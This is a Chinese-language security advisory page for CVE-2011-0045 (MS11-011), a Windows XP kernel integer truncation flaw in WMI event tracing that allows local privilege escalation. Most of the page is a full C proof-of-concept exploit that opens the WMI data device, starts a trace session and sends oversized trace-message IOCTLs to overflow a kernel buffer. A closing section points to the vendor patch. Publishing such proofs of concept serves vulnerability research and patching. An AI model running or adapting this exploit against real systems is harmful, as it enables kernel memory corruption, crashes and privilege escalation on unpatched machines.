Microsoft Windows Kernel整数截断本地权限提升漏洞

受影响系统:

Microsoft Windows XP Tablet PC Edition SP3
Microsoft Windows XP Tablet PC Edition SP2
Microsoft Windows XP Tablet PC Edition SP1
Microsoft Windows XP Tablet PC Edition
Microsoft Windows XP Service Pack 3 0
Microsoft Windows XP Professional SP3
Microsoft Windows XP Professional SP2
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Media Center Edition SP3
Microsoft Windows XP Media Center Edition SP2
Microsoft Windows XP Media Center Edition SP1
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Home SP3
Microsoft Windows XP Home SP2
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows XP 64-bit Edition

描述:


BUGTRAQ  ID: 46136
CVE ID: CVE-2011-0045

Windows是微软发布的非常流行的操作系统。

Windows Kernel在实现上存在本地权限提升漏洞,攻击者可利用此漏洞以内核级别权限执行任意代码,从而完全控制受影响计算机。

此漏洞源于Kernel对跟踪事件的支持。由于畸形转换,Kernel为用户空间中的数据分配使用截断的长度。在填充此缓冲区时,Kernel将使用造成缓冲区溢出的另一个长度。这将造成内存破坏并导致执行任意代码。

<*来源:std_logic
  
  链接:http://www.zerodayinitiative.com/advisories/ZDI-11-064/
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

std_logic ()提供了如下测试方法:

/*
# Exploit Title: MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC
# Date: 2011-03-01
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link:
# Version: prior to MS11-011
# Tested on: Win XP SP3
# CVE : CVE-2011-0045
# Status : Patched
# Binary Analysis: http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html
*/

#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <strsafe.h>
#include <wmistr.h>
#include <evntrace.h>

#define WmiTraceMessageCode  40
#define WmiCreateUMLogger  84
#define WmiStartLoggerCode 32

#define IOCTL_WMI_TRACE_MESSAGE \
          CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,
METHOD_NEITHER, FILE_WRITE_ACCESS)

/*
#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \
    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)

#define IOCTL_WMI_TRACE_MESSAGE \
          CTL_CODE(FILE_DEVICE_UNKNOWN, WmiTraceMessageCode,
METHOD_NEITHER, FILE_WRITE_ACCESS)

#define IOCTL_WMI_CREATE_UM_LOGGER CTL_CODE(FILE_DEVICE_UNKNOWN,
WmiCreateUMLogger, METHOD_BUFFERED, FILE_READ_ACCESS)

#define IOCTL_WMI_START_LOGGER \
          CTL_CODE(FILE_DEVICE_UNKNOWN, WmiStartLoggerCode,
METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;

typedef struct _STRING64 {
    USHORT   Length;
    USHORT   MaximumLength;
    ULONGLONG  Buffer;
} STRING64;
typedef STRING64 *PSTRING64;

typedef STRING64 UNICODE_STRING64;
typedef UNICODE_STRING64 *PUNICODE_STRING64;

//
// WNODE definition
typedef struct _WNODE_HEADER
{
    ULONG BufferSize;        // Size of entire buffer inclusive of this
ULONG
    ULONG ProviderId;    // Provider Id of driver returning this buffer
    union
    {
        ULONG64 HistoricalContext;  // Logger use
        struct
            {
            ULONG Version;           // Reserved
            ULONG Linkage;           // Linkage field reserved for WMI
        };
    };

    union
    {
        ULONG CountLost;         // Reserved
        HANDLE KernelHandle;     // Kernel handle for data block
        LARGE_INTEGER TimeStamp; // Timestamp as returned in units of 100ns
                                 // since 1/1/1601
    };
    GUID Guid;                  // Guid for data block returned with results
    ULONG ClientContext;
    ULONG Flags;             // Flags, see below
} WNODE_HEADER, *PWNODE_HEADER;

//
// Logger configuration and running statistics. This structure is used
// by WMI.DLL to convert to UNICODE_STRING
//
// begin_wmikm
typedef struct _WMI_LOGGER_INFORMATION {
    WNODE_HEADER Wnode;       // Had to do this since wmium.h comes later
//
// data provider by caller
    ULONG BufferSize;                   // buffer size for logging (in
kbytes)
    ULONG MinimumBuffers;               // minimum to preallocate
    ULONG MaximumBuffers;               // maximum buffers allowed
    ULONG MaximumFileSize;              // maximum logfile size (in MBytes)
    ULONG LogFileMode;                  // sequential, circular
    ULONG FlushTimer;                   // buffer flush timer, in seconds
    ULONG EnableFlags;                  // trace enable flags
    LONG  AgeLimit;                     // aging decay time, in minutes
    ULONG Wow;                          // TRUE if the logger started
under WOW64
    union {
        HANDLE  LogFileHandle;          // handle to logfile
        ULONG64 LogFileHandle64;
    };

// data returned to caller
// end_wmikm
    union {
// begin_wmikm
        ULONG NumberOfBuffers;          // no of buffers in use
// end_wmikm
        ULONG InstanceCount;            // Number of Provider Instances
    };
    union {
// begin_wmikm
        ULONG FreeBuffers;              // no of buffers free
// end_wmikm
        ULONG InstanceId;               // Current Provider’s Id for
UmLogger
    };
    union {
// begin_wmikm
        ULONG EventsLost;               // event records lost
// end_wmikm
        ULONG NumberOfProcessors;       // Passed on to UmLogger
    };
// begin_wmikm
    ULONG BuffersWritten;               // no of buffers written to file
    ULONG LogBuffersLost;               // no of logfile write failures
    ULONG RealTimeBuffersLost;          // no of rt delivery failures
    union {
        HANDLE  LoggerThreadId;         // thread id of Logger
        ULONG64 LoggerThreadId64;       // thread is of Logger
    };
    union {
        UNICODE_STRING LogFileName;     // used only in WIN64
        UNICODE_STRING64 LogFileName64; // Logfile name: only in WIN32
    };

// mandatory data provided by caller
    union {
        UNICODE_STRING LoggerName;      // Logger instance name in WIN64
        UNICODE_STRING64 LoggerName64;  // Logger Instance name in WIN32
    };

// private
    union {
        PVOID   Checksum;
        ULONG64 Checksum64;
    };
    union {
        PVOID   LoggerExtension;
        ULONG64 LoggerExtension64;
    };
} WMI_LOGGER_INFORMATION, *PWMI_LOGGER_INFORMATION;

*/

typedef struct _WMI_TRACE_MESSAGE_PACKET {  // must be ULONG!!
    USHORT  MessageNumber;                  // The message Number, index
of messages by GUID
                                            // Or ComponentID
    USHORT  OptionFlags ;                   // Flags associated with the
message
} WMI_TRACE_MESSAGE_PACKET, *PWMI_TRACE_MESSAGE_PACKET;

typedef struct _MESSAGE_TRACE_HEADER {
    union {
        ULONG       Marker;
        struct {
            USHORT  Size;                           // Total Size of the
message including header
            UCHAR   Reserved;               // Unused and reserved
            UCHAR   Version;                // The message structure
type (TRACE_MESSAGE_FLAG)
        };
    };
    union {
        ULONG            Header;            // both sizes must be the same!
        WMI_TRACE_MESSAGE_PACKET Packet;
    };
} MESSAGE_TRACE_HEADER, *PMESSAGE_TRACE_HEADER;

typedef struct _MESSAGE_TRACE {
    MESSAGE_TRACE_HEADER    MessageHeader ;
    UCHAR                   Data ;
} MESSAGE_TRACE, *PMESSAGE_TRACE ;

//
// Structure used to pass user log messages to the kernel
//
typedef struct _MESSAGE_TRACE_USER {
    MESSAGE_TRACE_HEADER    MessageHeader ;
    ULONG                   MessageFlags  ;
    ULONG64                 LoggerHandle ;
    GUID                    MessageGuid ;
    ULONG                   DataSize ;
    UCHAR                   Data ;
} MESSAGE_TRACE_USER, *PMESSAGE_TRACE_USER ;

/*

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR
    PVOID SecurityQualityOfService;  // Points to type
SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;

typedef union
{
    HANDLE  Handle;
    ULONG64 Handle64;
    ULONG32 Handle32;
} HANDLE3264, *PHANDLE3264;

typedef struct
{
    IN  POBJECT_ATTRIBUTES ObjectAttributes;
    IN  GUID ControlGuid;
    OUT HANDLE3264 ReplyHandle;
    OUT ULONG ReplyCount;
} WMICREATEUMLOGGER, *PWMICREATEUMLOGGER;

*/

//#define LOGFILE_PATH L"<FULLPATHTOLOGFILE.etl>"
#define LOGFILE_PATH L"test.etl"
//#define LOGSESSION_NAME L"My Event Trace Session"
#define LOGSESSION_NAME L"test"

// GUID that identifies your trace session.
// Remember to create your own session GUID.

// {94BE0BF2-885F-4972-8461-A7D83B53F1AD}
static const GUID SessionGuid =
{ 0x94be0bf2, 0x885f, 0x4972, { 0x84, 0x61, 0xa7, 0xd8, 0x3b, 0x53,
0xf1, 0xad } };

// GUID that identifies the provider that you want
// to enable to your session.

// {7C214FB1-9CAC-4b8d-BAED-7BF48BF63BB3}
static const GUID ProviderGuid =
{ 0x7c214fb1, 0x9cac, 0x4b8d, { 0xba, 0xed, 0x7b, 0xf4, 0x8b, 0xf6,
0x3b, 0xb3 } };

int trigger(HANDLE hDevice);
int start_usermode_logger(HANDLE hDevice);
int start_logger(HANDLE hDevice);
HANDLE open_device();

int main(int argc, char **argv)
{
    HANDLE hDevice;
    if((hDevice = open_device()) == INVALID_HANDLE_VALUE){
        printf("open_device failed!\n");
        return 0;
    }
     
    if(!start_usermode_logger(hDevice)){
        printf("start_usermode_logger failed!\n");
        return 0;
    }
     
    /*
    if(!start_logger(hDevice)){
        printf("start_logger failed!\n");
        return 0;
    }
    */
    trigger(hDevice);
    return 0;
}

HANDLE open_device()
{
    char deviceName[] = "\\\\.\\WMIDataDevice";
    HANDLE hDevice;
    if ( (hDevice = CreateFileA(deviceName,
                          GENERIC_READ|GENERIC_WRITE,
                          //0,
                          0,
                          0,
                          OPEN_EXISTING,
                          0,
                          NULL) ) != INVALID_HANDLE_VALUE )
    {
        printf("Device  succesfully opened!\n");
        return hDevice;
    }
    else
    {
        printf("Error: Error opening device at NULL premission\n");
        return INVALID_HANDLE_VALUE;
    }
}

int start_usermode_logger(HANDLE hDevice)
{
    ULONG status = ERROR_SUCCESS;
    TRACEHANDLE SessionHandle = 0;
    EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;
    ULONG BufferSize = 0;
    BOOL TraceOn = TRUE;

    // Allocate memory for the session properties. The memory must
    // be large enough to include the log file name and session name,
    // which get appended to the end of the session properties structure.
     
    BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) +
sizeof(LOGSESSION_NAME);
    pSessionProperties = (EVENT_TRACE_PROPERTIES*) malloc(BufferSize);   
    if (NULL == pSessionProperties)
    {
        wprintf(L"Unable to allocate %d bytes for properties
structure.\n", BufferSize);
        return 0;
    }
     
    // Set the session properties. You only append the log file name
    // to the properties structure; the StartTrace function appends
    // the session name for you.

    ZeroMemory(pSessionProperties, BufferSize);
    pSessionProperties->Wnode.BufferSize = BufferSize;
    pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
    pSessionProperties->Wnode.Guid = SessionGuid;
    pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR |
EVENT_TRACE_USE_PAGED_MEMORY;
    pSessionProperties->MaximumFileSize = 5;  // 5 MB
    pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
    pSessionProperties->LogFileNameOffset =
sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
    StringCbCopy((LPWSTR)((char*)pSessionProperties +
pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);

    // Create the trace session.

    status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME,
pSessionProperties);
    if (ERROR_SUCCESS != status)
    {
        wprintf(L"StartTrace() failed with %lu\n", status);
        return 0;
    }

    // Enable the providers that you want to log events to your session.

    status = EnableTrace(
        TraceOn,                 // TRUE enables the provider
        0,                       // No enable flags
        TRACE_LEVEL_INFORMATION, // Enable informational, warning, error
and critical events
        (LPCGUID)&ProviderGuid,  // Provider to enable
        SessionHandle            // Session handle from StartTrace
        );

    if (ERROR_SUCCESS != status)
    {
        wprintf(L"EnableTrace() failed with %lu\n", status);
        TraceOn = FALSE;
        return 0;
    }

    wprintf(L"Run the provider application. Then hit any key to stop the
session.\n");
    return 1;
}

int trigger(HANDLE hDevice)
{

    DWORD    cb, inlen, outlen;
    char        *buff, *buff_out = NULL;

    DWORD result = 0;
    unsigned char str[] = "fuckdata";

    MESSAGE_TRACE_USER Message;

    Message.MessageHeader.Marker = 0xBEBEBEBE;
    Message.MessageHeader.Header = 0xEFEFEFEF;

    Message.MessageFlags = 0xC0C0DEDE;

    //Message.LoggerHandle = 0xC0DEC0DEDEADDEAD;
    //Message.LoggerHandle = 0xC0DEC0DE12340001;//last WORD should be in
1 < n < 40
    Message.LoggerHandle = 0xC0DEC0DE12340000;//last WORD should be in 1
< n < 40

    Message.MessageGuid.Data1 = 0xC0DEDEAD;
    Message.MessageGuid.Data2 = 0xDEC0;
    Message.MessageGuid.Data3 = 0xDEDE;
    memcpy(Message.MessageGuid.Data4, str, 8);

    //Message.DataSize = 0xDEADBEEF;
    //Message.DataSize = 0x0000FFFE;//in fixed versioon should be < 0x1FD0
    Message.DataSize = 0x00010FF0;//in fixed versioon should be < 0x1FD0
    Message.Data = ‘0’;

    //DWORD ioctl = 0x2280A3;

    buff_out = (char*)malloc(0x2000);
    if(!buff_out){
      printf("malloc failed");
      return 0;
    }
    memset(buff_out, 0x0, 0x2000);

    cb = 0;
    buff = (char*)malloc(0x20000);
    if(!buff){
      printf("malloc failed");
      return 0;
    }
    memset(buff, ‘A’, 0x20000-1);

    outlen = 0x0;
    inlen = 0x15000;

    memcpy(buff, &Message, 0x30);
    //result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,
(LPVOID)&Message, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
    for(int i =0; i< 0x40; i++){
        Message.LoggerHandle++;
        memset(buff, ‘A’, 0x20000-1);
        memcpy(buff, &Message, 0x30);

        result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE,
(LPVOID)buff, inlen, (LPVOID)buff_out, outlen, &cb, NULL);
        printf("ioctl = 0x%08X, id = %d, result = %d\n",
IOCTL_WMI_TRACE_MESSAGE, i, result);
    }   
    printf("done!");
    free(buff);
}

建议:


厂商补丁:

Microsoft
———
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.microsoft.com/windowsxp/default.asp

发表评论?

0 条评论。

发表评论